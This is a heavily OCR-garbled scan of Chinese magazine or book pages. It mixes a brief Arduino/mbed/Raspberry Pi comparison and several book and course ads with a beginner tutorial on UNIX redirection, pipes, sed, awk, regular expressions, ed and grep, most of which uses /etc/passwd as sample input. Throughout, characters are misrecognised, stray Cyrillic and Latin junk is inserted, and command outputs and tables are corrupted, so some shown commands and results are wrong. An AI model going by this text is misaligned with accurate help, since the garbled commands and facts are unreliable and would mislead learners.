但 是 这 些 在 电子 工作 的 入 门 阶段 都 不 是 大 问题 。 


Бу f 
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关于 这 些 主板 的 不 同 ， 每 个 人 可 能 部会 有 
不 一 样 的 意见 ， 笔 者 根据 目 己 的 理解 对 其 进行 


(2) http://www.shumeipai.net/ 


WE 各 种 主板 的 不 同 


了 上 总结， 如 照片 4、 表 1 所 示 。 

微型 计算 机 能 做 的 事 也 是 有 限 的 。 连 接 
互联 网 的 时 候 ， 如 果 稍 微 了 解 一 些 硬件 的 话 ， 
Rasbe rry Pi 的 开发 环境 应 是 最 丰富 便捷 的 。 
如 有 果 还 不 十 分 了 解 便 件 ，Ardi no 或 者 mbeb 的 
言 息 非 常 丰 富 , 可 以 方便 地 完成 自己 想 做 的 东西 。 
至 于 是 选择 Ardi no 还 是 mbeb， 则 要 根据 需要 
微型 计算 机 进行 的 处 理 的 种 类 来 判断 了 。 如 果 
需要 处 理 字符 串 ， 则 mbeb 比较 方便 ; 但 鉴于 
大 多 数 处 理应 该 都 能 找到 使 用 Ardi no 实现 过 
的 人 , 所 以 有 些 人 会 觉得 使 用 Ardi no 会 更 轻松 。 

男 一 方面 ， 如 果 不 需 要 网 络 连 接 ， 而 只 
做 一 些 交互 性 的 东西 的 话 ,， 根据 可 以 获得 的 
信息 数量 来 看 ， 可 以 说 Arduino 是 最 简单 的 。 
在 笔者 看 来 ， 如 果 是 5V 电 压 的 设备 ， 就 使 用 
Arduino， 而 如 果 3.3V 设 备 ， 则 使 用 mbeb。 
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Arduino mbed Raspberry Pi 
== Arduino Team ARM 树 莓 派 基金 会 
HEBA C/C++ 各 种 语言 
操作 系统 无 各 种 操作 系统 
Жі Arduino. IDE 各 种 开 友 环境 
性 能 A O © 
局 域 网 X<) O © 
硬件 的 资料 丰富 程度 © О A 
制作 兼容 机 的 容易 度 O A x 
参考 价格 2940 日 元 5200 А 3300 Нэ 


记号 注 X: 无 此 功能 A: 及 格 О: 普通 О: 优秀 
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T 职 业 在 线 教育 平台 


45 万 开 友 者 选择 的 在 线 教育 平台 
涵盖 了 600 多 | 市 场 移动 开 友 技术 课程 
为 开发 者 量 身 打造 职业 学 习 路 线 图 ,真正 实现 学 以 致 用 
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一 直 以 来 ，sed 和 AWK 都 是 UNIX/Linux 的 工程 师 们 喜欢 使 用 的 工具 。 它 们 的 语法 简单 易学 、 在 
终端 可 以 立即 使 用 ， 非 常 方便 。 如 果 和 其 他 的 UNIX 命令 组 合 起 来 使 用 ， 其 应 用 范围 将 会 非常 广泛 。 
不 管 是 从 没 接触 过 sed/AWK 的 人 ， 还 是 曾 使 用 过 sed/AWK 但 近来 好 久 没 用 的 人 ， 都 可 以 借 这 个 机 会 
再 进一步 草 握 sed/AWK， 从 而 提高 在 UNIX/Linux 上 的 处 理 效 率 。 
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从 现在 开始 sed/AWK 再 入 门 
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{ sed 和 AWK 超 级 入 门 
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在 正式 学 习 sed 和 AWK 之 前 ， 本 章 将 先 介绍 UNIX 文本 数据 的 处 理 方法 。 了 解 了 这 些 ， 就 能 回答 为 什么 现在 


有 必要 学 习 sed、AWK ”这 个 问题 了 。 


а UNIX 的 基础 


20 世 纪 60 年 代 后 期 ， 有 一 个 名 为 Multics、 
在 当时 具有 高 性 能 (所 谓 的 高 性 能 实际 上 只 是 
很 复杂 而 已 ) 的 实验 性 OS 项 目 。 虽 然 这 个 项 
目 最 终 失 败 了 ,但 吸取 这 个 项 目的 经 验 教训 
之 后 ,， 便 诞生 了 简洁 型 OS。 这 种 OS 与 复杂 的 
Multics 正 相反 ， 当 初 被 称 作 Unics (后 来 改名 
为 UNIX )。 

正如 其 名 ,这 种 OS 非常 简单 ， 而 且 附 带 
的 工具 集 也 都 是 单 性 能 的 、 简 单 的 。 特 别 是 因 
为 最 初 的 使 用 者 大 都 是 程序 员 或 计算 机 研究 人 
员 ， 他 们 为 了 得 到 自己 想 要 的 结果 ， 会 把 单 性 
能 的 命令 组 合 起 来 使 用 ， 因 此 倒 也 不 觉得 吃力 。 
像 这 样 ， 为 了 把 多 个 命令 组 合 起 来 使 用 ， 人 们 
进一步 发 展 了 在 OS 设计 之 初 就 有 的 标准 输入 
输出 的 想法 ， 从 而 出 现 了 作为 命令 组 合 手段 的 
“管道 ”结构 。 

CGO 标 准 答 入 输出 

标准 输入 输出 是 UNIX 设 计 之 初 就 引进 
的 输入 输出 的 通道 。 是 一 种 在 程序 被 执行 时 ， 
OS 可 以 自动 地 分 配 输入 、 输 出 以 及 错误 输出 
设备 的 机 制 。 

在 UNIX 以 前 的 计算 机 系统 中 ， 在 程序 使 
用 输入 输出 设备 时 ， 需 要 使 用 JCL 等， 用 程序 
来 分 配 输入 输出 设备 ,非常 肪 烦 。 而 在 UNIX 
中 ， 因 为 输入 输出 都 事先 在 OS 上 进行 了 分 配 ， 


即使 有 多 个 程序 在 同时 使 用 ,使 用 者 也 好 程序 
也 好 ， 并 不 需要 什么 特别 的 操作 就 可 以 使 用 输 
入 输出 设备 了 。 

OS 在 程序 局 动 时 会 执行 一 个 叫 作 startup 
routine 的 共通 的 初始 化 处 理 。 在 这 个 处 理 中 准 
备 好 标准 输入 输出 以 便于 使 用 。 标 准 状态 的 分 
配 是 这 样 的 : 输入 设备 (标准 输入 ) 是 键盘 ， 输 
出 设备 (标准 输出 ) 以 及 错误 输出 设备 (标准 错 
误 输 出 ) 是 终端。 


@ shell HÆK 


在 UNIX 中 ， 内 核 和 用 户 接口 通常 是 由 叫 
作 shell 的 程序 来 提供 的 。 登 录 UNIX 系 统 时 ， 
指定 的 登录 shell 将 被 执行 ， 终端 表示 提示 符 ， 
等 竺 用 户 输 入 。 用 户 输入 命令 ， 系 统 就 会 解释 
输入 的 命令 字符 串 ， 生 成 进程 ， 把 命令 的 执行 
结果 显示 出 来 。shell 承 担 的 责任 非常 重大 。 

在 shell 上 执行 程序 也 可 以 利用 标准 输入 输 
出 。 不 过 ， 如 果 使 用 shell 上 的 重 定向 功能 ， 就 
可 以 简单 地 变更 标准 输入 输出 。 比 如 使 用 符号 
“>”， 就 是 指示 变更 标准 输出 的 输出 位 置 。 标 
准 状态 的 标准 输出 是 分 配给 终 问 的 ， 命令 的 执 
行 结 果 也 会 在 终端 表示 出 来 ， 如 果 把 输出 位 置 
重 定 问 到 文件 , 执行 结果 就 会 保存 到 文件 中 (图 
1 )。 如 果 在 输出 位 置 文件 已 经 存在 了 ， 那 么 将 
会 先 删除 文件 的 所 有 内 容 ， 再 把 新 的 内 容 写 到 
ЭСЕР 

如 果 使 用 符号 “>>” 则 表示 这 样 的 指示 : 
在 变更 标准 输出 的 输出 位 置 的 同时 ，( 输 出 位 


FA 
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Ут 重 定 同 把 输出 位 置 改 为 文件 


$ 15 

$ < 因为 文件 不 存在 所 以 什么 也 没有 显示 出 来 
$ echo "foo" i E Ет E 

foo 

$ echo "foo" > file 


$ 15 
file 二 生成 文件 
$ cat file < 显示 文件 内 容 


foo 


有 图 3 重 定向 从 文件 读 取 


< 没有 参数 的 cat 表示 从 标准 输入 中 输入 的 
数据 在 标准 输出 中 进行 输出 
HOT NEM < №. foo+ 回 车 


$ cat 


foo 

bar 
bar 

输入 Ct 中 +D)( 表 示 输 入 结束 ) 


КААДА 一 所 cat 的 标准 输入 分 配给 文件 
е 一 图 2 中 生成 的 文件 内 容 被 输出 


bar 


” 5 输入 方 和 输出 位 置 重 定 同 为 同一 文件 


输入 方 和 输出 位 置 重 定向 为 同一 文件 


$ cat file 
$ 和 一 文件 内 容 被 清空 


置 文件 已 存在 的 情况 下 ) 追加 文件 内 容 ( 图 2 )。 

同样 ， 使 用 符号 “<” 可 以 重 定向 标准 输入 
的 输入 方 。 从 标准 输入 接收 数据 的 命令 通常 是 
从 键盘 接收 ， 但 如 果 把 输入 方 重 定向 为 文件 ， 
就 可 以 从 文件 读 取 数据 了 (图 3 )。 

可 以 同时 重 定向 输入 和 输出 。 此 时 ， 命 令 
的 输入 和 输出 都 可 以 分 配给 文件 等 (图 4 )。 

男 外 ,输入 和 输出 可 以 指定 为 同一 文件 。 
但 是 在 这 种 情况 下 执行 命令 可 能 得 不 到 所 期 望 
的 结果 。 要 注意 命令 会 把 输入 文件 (= 输出 文件 ) 
内 容 清 空 (图 5 )。 


管道 和 流 
管道 是 输入 输出 的 想法 进一步 发 展 的 结 


是 为 了 实现 菏 个 命令 的 标准 输出 下 接 作为 为 一 
个 命令 的 输入 而 提供 的 单 回 数据 流 机 制 。 
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从 UNIX 文 本 处 理 的 基础 开始 
sed 和 AWK 超 级 入 门 


有 图 2 重 定向 追加 文件 内 容 


$ Ls 

file 

$ cat file 

foo 

Ф echo "bar" >> 11е LOEDER EEEN 
$ Ls 

file 

$ cat file 
foo 

bar 


显示 文件 内 容 


w 4 ”同时 重 定向 输入 和 输出 


$ cat < file > output 
$ cat file 

foo 

bar 

$ cat output 
foo 

bar 


< 显示 output 的 内 容 


标准 的 shell 一 般 用 符号 “| 来 表示 
管道 。 比 如 commandA|commandB 就 表 
IR А 的 标准 输出 作为 B 的 标准 输入 来 使 用 。 
在 省 道中 流通 的 数据 称 为 “ 流 ”"， 是 单纯 
的 学 方 流 ， 并 没有 像 “ 行 ”这样 的 数据 分 
隔 概念 。 
空 管道 谈 入 (从 管道 的 输入 侧 输 入 数据 )， 
直到 能 有 数据 该 出 为 止 ， 谈 入 处 理 都 是 加 锁 的 。 
另外 ， 由 于 输出 侧 的 命令 不 能 从 管道 谈 和 数据 
等 原因 ，OS 在 内 部 为 管道 预 留 的 缓存 都 满 了 
的 情况 下 , (从 管道 输 出 侧 谈 和 人 数据 直到 缓存 
为 空 为 止 ) 对 管道 的 写 人 操作 也 是 加 锁 的 。 

像 这 样 ， 利 用 管道 把 多 个 命令 组 合 起 来 使 
用 时 ,为 了 可 以 让 多 个 命令 都 流畅 地 使 用 数据 ， 
一 般 只 使 用 由 ASCI 码 构成 的 文本 数据 。 为 了 
在 发 生 错误 时 也 不 阻碍 管 者 中 的 数据 流 ， 错 误 

言 县 不 输出 到 标准 输出 ， 而 是 输出 到 标准 错误 
输出 。 

对 标准 输入 中 输入 的 数据 进行 加 工 ， 并 在 
标准 输出 中 进行 输出 的 命令 叫 "过滤 硕 ” 命 令 。 
这 次 要 介绍 的 sed 和 awk 也 是 为 了 加 工 数据 流 
TU AUR, РАЈ СА ЛИ T SE UIS e ft 5 о 
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从 现在 开始 sed/AWK 再 入 门 


| | UNIX 工 程 师 的 喜好 
特辑 


sed 和 awk 


sed 和 awk 的 基本 功能 都 是 对 标准 输入 中 
输入 的 文本 数据 进行 加 工 ， 在 标准 输出 中 进行 
输出 。 那 么 为 什么 会 有 多 个 具有 相同 功能 的 命 
ТЛЕ? 


69) sed 


首先 来 看 一 下 sed, Е WJ = H Stream 
Editor 而 来 。 正 如 其 名 ， 设 计 它 是 用 来 作为 加 
工 文本 流 数据 编辑 需 的 。 所 以 ，sed 基 本 以 行 
为 单位 来 处 理 输入 数据 。 比 如 它 就 在 对 输入 行 
用 正则 表达 式 进 行 匹 配 蔡 换 等 方面 发 挥 了 作 
用 。 我 们 也 可 以 使 用 分 文 以 及 一 种 叫 作 pattern 
space 的 模式 空间 ,不 过 用 法 有 些 难 异 ， 实 际 
中 也 不 太 会 用 到 (笔者 认为 )。 

在 文件 /etc/passwd F, 3 /bin/bash 指定 的 
登录 shell 全 部 替换 成 /usr/local/bin/bash 的 例子 
如 图 6 所 示 。cat 的 输出 通过 管道 传 给 sed 进行 
ЖЕЛЕ Ч, letc/passwd 中 表示 登录 的 shell 是 最 


(D 本 来 可 以 对 sed 直接 指定 文件 ,为 了 体现 使 用 管道 才 和 
cat 一 起 使 用 的 。 


У 6 sed 替换 
4 显示 源 文 件 


root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon: /sbin:/sbin/nologin 


[р:х:4:7: 1р: /маг/ѕрооі /1ра: /ѕ56ріп/по(одіп 


sync:x:5:0:sync:/sbin:/bin/sync 


shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 


halt:x:7:0:halt:/sbin:/sbin/hatlt 


后 一 项 ， 所 以 将 以 /bin/bash 结 束 的 行 用 sed 的 
s 命 令 蔡 换 成 /usrlocalbin/bash。 最 后 的 $ 表 示 
作为 替换 对 象 的 /bin/bash 处 于 行 尾 ， 所 以 即使 
在 行 中 间 出 现 /bin/bash， 也 不 会 被 当 作 替换 对 
象 。 在 这 个 例子 中 ， 因 为 替换 对 象 的 字符 串 中 
含有 “/”， 所 以 没有 采用 sed 的 标准 记述 法 “/”， 
而 是 用 “! ”进行 记述 。 


69) awk 


反之 ，awk 会 事先 把 输入 的 数据 根据 字 
段 单 位 进行 分 割 。 在 没 指定 分 割 单 位 的 情况 下 ， 
以 输入 数据 中 的 空格 或 Tab 为 分 隔 符 对 数据 
进行 分 割 ， 因 为 对 单位 数据 的 加 工 比较 容易 
一些 

而 且 , 与 sed 相 比 , 它 以 更 接近 编程 语言 
的 文法 记述 处 理 ， 此 外 还 包含 了 通过 正则 表达 
式 进 行 的 字符 串 操 作 、 人 简单 的 数学 酚 数 功能 等 。 
假设 编程 语言 的 基本 功能 只 有 分 文 、 循 环 、 变 
量 的 使 用 ， 而 这 些 awk 都 可 以 实现 ,那么 它 完 
全 可 以 称 为 编程 声言。 事实 上 ， 笔 者 已 经 只 靠 
使 用 awk 的 功能 做 了 一 个 简单 的 语法 解析 工具 。 

使 用 和 刚才 的 sed 例 子 同 样 的 /etcp sswd 
文件 ， 统 计 各 个 登录 shell 的 用 户 数 的 例子 如 图 


mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 


uucp:x:10:14:uucp:/var/spool/uucp:/bin/bash 


nobody :x:99:99:Nobody:/:/bin/bash 


$ cat /etc/passwd | sed "s!/bin/bash$!/usr/local/bin/bash!g" 
root:x:0:Ø0:root:/root:/usr/local/bin/bash 


bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon: /sbin:/sbin/nologin 


lp:x:4:7:Llp:/var/spool/lpd:/sbin/nologin 


sync:x:5:0:sync:/sbin:/bin/sync 


shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 


halt:x:7:Q:halt:/sbin:/sbin/haLt 


< 和 一 使 用 sed 蔡 换 字 符 串 


mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 
uucp:x:10:14:uucp:/var/spool/uucp:/usr/local/bin/bash 


породу : х: 99:99 : М№ороау: / : /иѕг/ Госа /61п/Ббаѕћ 
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7 所 示 。BEGIN 节 记 述 的 是 在 开始 读 入 输入 行 
之 前 要 执行 的 处 理 。/etc sswd 的 字段 分 隔 符 
是 :， 所 以 用 FS=": "把 字段 分 隔 符 改 为 :。 
此 后 的 主要 处 理 部 分 记述 的 是 对 于 所 有 的 输入 
行 重复 执行 以 下 处 理 。awk 用 变量 NF 来 保存 输 
入 行 的 字段 数 ， 樟 可 以 用 来 访问 最 后 一 个 字 
段 的 值 。 在 这 个 例子 中 ， 因 为 最 后 一 个 字段 保 
存 的 是 登录 shell， 把 登录 shell 作为 索引 的 关联 
数组 shells 的 值 加 1。END 节 记述 的 是 在 所 有 
的 输入 行 读 入 完成 之 后 要 执行 的 处 理 。 这 个 例 
子 是 输出 作为 统计 结果 的 关联 数组 shells 的 内 容 。 
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综 上 所 述 ，sed 和 awk 各 有 擅长 之 处 。 应 
该 根据 处 理 内 容 和 使 用 者 的 喜好 灵活 运用 。 


maut 


不 管 是 对 于 sed 还 是 awk， 正 则 表达 式 都 
很 重要 。 正 则 表达 式 是 指 用 通用 的 模式 表示 法 
来 表示 字符 串 排 列 的 手法 之 一 。 在 表示 字符 排 
列 时 ,通过 使 用 一 种 叫 作 元 字符 的 特殊 符号 表 
示 的 模式 ， 正 则 表达 式 可 以 灵活 地 对 应 并 不 完 
全 一 致 的 字符 排列 。UNIX 在 刚 开 始 时 的 各 种 
命令 都 活用 了 正则 表达 式 。 


有 图 7 使 用 awk 做 的 统计 程序 


$ awk ' 
ВЕСІМ< 
< 把 字段 分 隔 符 改 为 ”:” 


CLIE ES IN MEE “ 一 给 关联 数组 的 值 加 1 
} 


END( 


for(i in shells) 


print i ~: = 
}' /etc/passwd 
/sbin/shutdown: 1 
/bin/bash: 3 
/ sbin/nologin: 4 
/sbin/halt: 1 
/bin/sync: 1 
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从 UNIX 文 本 处 理 的 基础 开始 
sed 和 AWK 超 级 入 门 x 


正则 表达 式 所 使 用 的 元 字符 有 ^. $. 
CAIS, KARE RREI) 正则 
表达 式 基 于 非常 高 深 的 理论 ， 内 容 很 深奥 ， 要 
详细 解说 起 来 ， 需 要 用 一 整 本 书 的 篇 幅 来 写 ， 
所 以 这 里 只 做 简单 的 说 明 。 

通过 使 用 如 表 1 那 样 的 元 字符 记述 模式 ， 
可 以 灵活 地 匹配 字符 串 。 


e 正 则 表达 式 “.*” ”可 以 匹配 包括 空 字符 
串 的 所 有 字符 串 

e F M) £ i X "https?" "T v Vt Bc http 或 
https 

e"^abc" Ж Bz ZA abc F Z ú Ф £ Ф, 
“xyz$” 匹 配 以 Xxyz 结尾 的 字符 囊 

efoo[ 135135 fool. foo3. foo5'F £ 
一 个 匹配 


vI 几 种 具有 代表 性 的 正则 表达 式 的 元 字符 


匹配 除了 换行 符 以 外 的 任意 单子 符 


0 次 或 多 次 匹配 前 面 的 字符 或 子 表达 式 


1 次 或 多 次 匹配 前 面 的 字符 或 子 表 达 式 
0 次 或 1 次 匹配 前 面 的 字符 或 子 表 达 式 


和 行 首 匹配 


和 行 尾 匹 配 
和 区 间 内 的 任意 字符 匹配 


shells[i]; 一 显示 关联 数组 的 所 有 值 


I mn we rA LTr 


2 


E= 命令 


除了 sed 和 awk 以 外 ,使 用 正则 表达 式 的 
命令 还 有 很 多 。 虽 然 难度 有 些 高 ， 但 是 如 采 可 
以 将 正则 表达 式 的 用 法 运用 自如 ， 对 使 用 者 而 
ri, UNIX 的 世界 将 会 变 得 很 宽广 。 

比如 ,我 们 经 党 使 用 的 grep 命 令 也 是 正 
则 表达 式 的 活用 。grep 这 个 词 原本 就 是 表示 
一 个 叫 作 ed 的 编辑 希 的 命令 文法 ， 它 表示 把 g 
( Global = 把 整个 文件 作为 对 象 ) 用 re(Regular 
Expression = 正则 表达 式 )p ( Print = 表示 ) 出来。 

使 用 和 sed、awk 的 例子 一 样 的 文件 /etc/ 
passwd, 把 含有 bash 的 行 用 ed 命令 表示 出 
来 的 例子 如 图 8 所 示 。 执 行 ed 编 辑 带 的 命令 
g/bash/p， 显 示 整 个 文件 中 含有 bash 正则 表 
达 式 的 行 。ed 是 编辑 带 ， 所 以 通常 是 用 于 对 话 ， 
这 里 是 单纯 作为 UNIX 命 令 ， 它 也 可 以 进行 从 
标准 输入 接收 命令 的 类 似 于 过 滤 希 的 操作 。 从 
标准 输入 接收 编辑 从 命令 g/bash/p 人 然后 执行 。 

为 什么 编辑 硕 的 命令 要 制作 成 独立 的 命令 
呢 ?” 因 为 这 些 是 非常 便利 的 有 意义 的 命令 。 从 
文件 中 抽取 出 和 模式 匹配 的 行 ， 这 是 计算 机 在 
各 种 作业 时 常用 的 处 理 。 “没有 grep 的 环境 了 就 


У 8 使 用 ed 进行 行 的 抽出 


$ echo "g/bash/p" | ed -s /etc/passwd 
root:x:0:0:root:/root:/bin/bash 


uucp:x:10:14:uucp:/var/spool/uucp:/bin/F2 
bash 
nobody:x:99:99:Nobody:/:/bin/bash 


26 
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^ UNIX 工程 师 的 喜好 
特辑 ] | Bree sed/AWK 再 入 门 


不 能 工作 ”, 也 许 使 用 UNIX 的 人 都 会 这 么 想 吧 。 
如 此 便利 的 通用 性 高 的 命令 ， 为 了 能 使 其 方便 
使 用 ， 就 把 它 做 成 了 独立 的 命令 ， 并 一 百 留用 
至 今 。 这 也 恰好 和 刚 开 始 提 到 的 “简单 的 单 性 
能 的 命令 ”的 想法 相 吻 合 。 

使 用 和 图 8 的 例子 相同 的 文件 /etc/passwd， 
FH grep 命令 表示 含有 bash 的 行 的 例子 如 图 9 所 
示 。 其 实 没 有 什么 好 说 明 的 ， 就 是 显示 整个 文 
件 中 含有 bash 正 则 表达 式 的 行 。 比 使 用 ed 命 
令 完 成 相同 的 功能 显得 更 简单 。 

类 似 的 命令 还 有 很 多 。 比 如 tr 命令 是 蔡 换 
输入 字符 串 的 命令 ， 这 个 命令 也 可 以 说 是 sed 
的 子 集 。 这 个 命令 就 是 把 sed 功 能 中 使 用 最 多 
的 学 符 串 蔡 换 功能 作为 “简单 的 单 性 能 的 命令 ” 
抽取 出 来 了 。 在 UNIX 中 有 多 个 像 这 样 把 已 有 
命令 的 部 分 功能 抽出 来 做 成 专用 命令 的 例子 。 


e" 结 


标准 输入 输出 、 管 道 、 正 则 表达 式 ，UNIX 
的 一 些 特色 功能 都 简略 地 介绍 完了 。 篇 幅 所 限 ， 
我 们 不 可 能 分 别 对 这 些 功 能 进行 详细 的 说 明 。 
如 果 此 文 能 唤起 大 家 对 UNIX 提 供 的 便利 强大 
的 功能 的 兴趣 ， 笔 考 将 感到 非常 荣幸 。 


有 图 9 使 用 grep 进 行 行 的 抽出 


$ grep "bash" /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
uucp:x:10:14:uucp: /var/spool/uucp: /bin/F4 
bash 

nobody :x:99 :99: Nobody : / : /bin/bash 
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从 UNIX 文 本 处 理 的 基础 开始 
sed 和 AWK 超 级 入 门 | 


UNIX 和 字符 编码 


UNIX 本 来 葡 是 在 美国 开 友 的 09， 所 以 1 字 节 当 的 字符 编码 ，MacOSX 还 有 一 部 分 Linux 友 行 版 都 
然 束 是 作为 1 个 字符 来 处 理 的 。 但 是 , 像 日 义 、 中 采用 UTF-8 作 为 标准 字符 编码 。 
文 这 样 有 汉字 的 ， 可 能 会 有 几 王 甚至 几 万 个 文字 ， 以 前 ， 在 UNIX 环 境 中 使 用 诸如 日 语 这 样 的 多 
用 1 个 字 节 是 不 可 能 表示 所 有 的 文字 的 。 因 此 残 需 ， 字 节 字符 是 非 冲 困难 的 ， 甚 全 有 些 命令 根本 残 不 广 
要 在 用 两 个 或 多 个 字 节 来 表示 1 个 字符 的 字符 编码 。 ” 持 多 字 节 字符 。 不 过 ,现在 通过 给 LANG 环 境 变 量 
ШЕЕ said 设置 适当 的 值 , 通知 系统 和 命令 可 以 使 用 的 字符 编码 ， 

最 初 在 UNIX 中 使 用 最 多 的 是 一 种 叫 作 EUC 几乎 所 有 的 命令 都 可 以 正确 地 处 理 多 字 节 字符 。 FERN, 
( Extended UNIX Code ) 的 字符 编码 。 日 语 的 平 假名 、 ”在 日 语 环 境 中 字符 编码 采用 UTF-3， 只 要 把 LANG 指 
片 假 名 、 代 表 性 的 汉字 用 两 个 字 节 表示 ， 英 文 数字 。 ” 定 为 ja_UPUTF-8， 那 么 几乎 所 有 的 命令 都 可 以 正确 
和 日 语 也 很 容易 进行 区 别 ， 特 别 是 多 用 于 在 UNIX 环 ”地 处 理 多 字 节 字符 。 本 特辑 中 提 到 的 sed 和 awk 当 
境 中 表示 日 语 的 情况 。 最 近 兴 起 了 一 种 叫 作 UTF-8 — 然 也 是 可 以 正确 地 处 理 多 字 节 字符 的 。 


¿au ales 


| 


Linux 系统 架构 和 应 用 技巧 


e° 清华 计算 机 系 副 系 主任 陈 文 光 、 北 航 计 算 机 学 院 院 长 吕 卫 锋 作 序 推荐 


( 本 书 内 容 涉 及 Linux 内 部 结构 、 虚 拟 化 基础 设施 环境 的 构建 、 内 核 源 代 码 的 阅读 以 及 
RHEL6 新 功能 综述 。 通 过 搭建 虚拟 化 基础 设施 ， 给 读者 提供 了 方便 实用 的 Linux 系 统 的 学 

inux 习 和 实践 环境 ; 同时 ， 设 计 了 10 个 可 操作 的 脚本 实验 ， 尽 可 能 覆盖 Linux 操 作 系统 的 关 
系统 架构 和 应 用 技巧 。 键 应 用 技术 ,包括 进程 监控 、 远 程 登录 、 文 本 处 理 等 。 其 中 的 技巧 根植 于 作者 的 多 年 经 验 ， 
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cum 具有 极 强 的 现场 感 和 可 操作 性 。 
| bl 


正则 表达 式 必 知 必 会 (修订 版 ) 


i MM 
mr qu QE е (EE x ТЕ 则 == 达 式 


Sams Teachi' 
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| ФАМ 
正则 表达 式 是 一 种 威力 无 比 强 大 的 武器 ， 几 乎 在 所 有 的 程序 设计 语言 里 和 计算 机 平 ” 【修订 版 ) 
台 上 都 可 以 用 它 来 完成 各 种 复杂 的 文本 处 理工 作 。 本 书 从 简单 的 文本 匹配 开始 ， 循 序 渐 
进 地 介绍 了 很 多 复杂 内 容 ， 其 中 包括 回溯 引用 、 条 件 性 求 值 和 前 后 查找 等 。 每 章 都 为 读 
者 准备 了 许多 简明 又 实用 的 示例 ， 有 助 于 人 全面、 系统、 快速 掌握 正则 表达 式 ， 并 运用 它 
们 去 解决 实际 问题 。 
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从 现在 开始 sed/AWK 再 入 门 


я UNIX 工 程 师 的 喜好 
特辑 
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一 提 到 sed , 大 家 首先 想到 的 可 能 是 可 以 进行 简单 蔡 换 的 文本 过 滤器 吧 。 但 是 , sed 不 仪 能 进行 字符 串 或 字符 的 蔡 换 ， 
还 可 以 做 很 多 其 他 事情 ， 比 如 特定 行 的 处 理 及 删除 、 使 用 脚本 文件 进行 的 处 理 、 分 文 /循环 处 理 等 。 本 章 我 们 来 学 


习 一 下 sed 的 这 些 用 法 。 


gs 


sed 是 一 个 简单 强大 的 文本 处 理工 具 。 它 
起 源 很 早 ， 可 以 追溯 到 1973 年 。sed 作 为 标准 
命令 被 收集 到 了 UNIX 系 的 OS 中 ,， 所 以 一 旦 
发 生 问题 时 ， 这 个 命令 可 以 起 到 帮助 作用 。 即 
使 不 记 住 sed 的 所 有 用 法 ， 只 要 学 会 一 些 基 本 
用 法 ， 就 可 以 将 其 充分 应 用 于 日 常 工作 及 和 故 
障 应 对 中 了 。 

sed 的 名 称 来 源 于 Stream Editor( 流 编辑 
器 )， 是 针对 输入 流 一 口气 执行 所 有 事先 准备 
好 的 处 理 的 编辑 硕 。 它 不 像 vi、Emacs 那 样 的 “对 
话 式 编 辑 需 ”一 样 可 以 看 着 界面 编辑 文章 ， 而 
是 事先 把 编辑 的 内 容 以 “命令 ”的 形式 列举 出 
来 ， 对 文本 的 加 工 是 一 气 呵 成 的 。 所 以 适用 于 
对 一 系列 的 文件 反复 执行 相同 变更 的 情况 。 

另外 还 可 以 从 标准 输入 接收 数据 ， 所 以 对 
象 数据 就 没 必 要 一 一 保存 成 文件 了 。 比 如 可 以 
用 sed 来 处 理由 管道 输出 的 其 他 命令 的 结 

本 章 使 用 的 是 在 Ubuntu 13.04. 上 安装 的 GNU 
sed4.2.1。 像 OSX、FreeBSD 这 样 的 BSD 系列 的 
UNIX 安装 的 是 BSD sed。 因 此 ， 会 有 几 个 命令 
的 选项 和 本 章 使 用 的 GNU sed 略 有 不 同 。 使 用 
的 sed 的 版 本 可 以 用 “--version” 选 项 进行 确认 。 


Ti 


$ sed —version 
GNU sed 版 本 4.2.1 


那么 我 们 赶紧 来 看 一 下 sed 的 基本 用 法 吧 。 
实际 上 , 使 用 sed 就 是 对 文本 文件 进行 过 滤 处 理 。 
我 们 准备 一 个 如 代码 清单 1 所 示 的 源 文件 ， 按 
照 下 面 这 样 执行 sed， 文件 的 一 部 分 被 蔡 换 后 
输出 到 标准 输出 上 。 


$ sed -e 's/bbb/eee/' input.txt 

aaaeeecccddd aaabbbcccddd 

AAABBBCCCDDD aaaeeecccddd 
1234567890!? !"4$/8'C)?/ 


sed 将 指定 的 文件 逐 行 证 入 ， 根 据 给 定 的 
条 件 进行 处 理 。 把 sed 当 作 单行 脚本 ( One-Liner ) 
使 用 ， 紧 跟着 “-e” 选 项 ， 即 可 把 处 理 内 容 作 
为 脚本 记述 下 来 。 如 采 蔡 换 成 “-f” 选项 ， 就 可 
以 读 和 事先 准备 好 的 脚本 文件 。 如 果 想 把 处 理 
结果 输出 到 文件 ， 只 需 使 用 “>” 进 行 重 定 问 就 
可 以 了 。 


$ sed -e 's/bbb/eee/' input.txt > 


output.txt 


查看 输出 的 文件 , 虽然 一 行 中 与 模式 匹 
配 的 地 方 有 两 处 , 但 只 有 最 开始 的 1 处 被 蔡 换 
To 第 1 行 前 半 部 分 的 “bbb” 被 奉 换 成 了 “eee ”， 
而 后 半 部 分 的 “bbb” 却 没有 变 。 如 果 想 把 所 有 


有 代码 清单 1 源 文件 ( input.txt ) 


aaabbbcccddd aaabbbcccddd 
AAABBBCCCDDD aaabbbcccddd 
1254567890!? !"#$Z&'()?/ 
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与 模式 匹配 的 地 方 都 符 换 反 ， 需 要 在 末尾 加 上 
标志 “g” А 

$ sed -e 's/bbb/eee/g' input.txt 

аааееесссааа аааееесссааа B — EFTA bbb 

替换 成 еее 

这 是 sed 最 和 常 使 用 的 形式 。 而 且 还 可 以 

把 变更 对 象限 制 在 特定 的 行 。 比 如 只 想 蔡 换 
inpt t k 的 第 2 行 的 内 容 时 , 就 需要 指定 “地 址 ”。 


$ sed -e '2s/bbb/eee/g' input.txt 
aaabbbcccddd aaabbbcccddd 


AAABBBCCCDDD aaaeeecccddd 
1234567890!? !"#$%8'()?/_ рї еее 
一 般 情 况 都 是 针对 文件 整体 进行 处 理 ， 使 
用 地 址 的 机 会 并 不 多 ， 不 过 对 于 像 日 志 数 据 这 


样 的 大 量 数据 的 分 割 编辑 还 是 很 便利 的 。 

现在 我 们 整理 一 下 思路 。 图 1 是 sed 作 为 
单行 脚本 使 用 时 的 基本 形式 。 在 理解 脚本 、 地 
址 、 命 令 等 sed 特 有 用 语 的 基础 上 ， 接 下 来 我 
们 了 解 一 下 具体 的 使 用 方法 。 


а sed 的 用 法 


接 下 来 对 单行 脚本 或 脚本 文件 中 可 以 使 用 
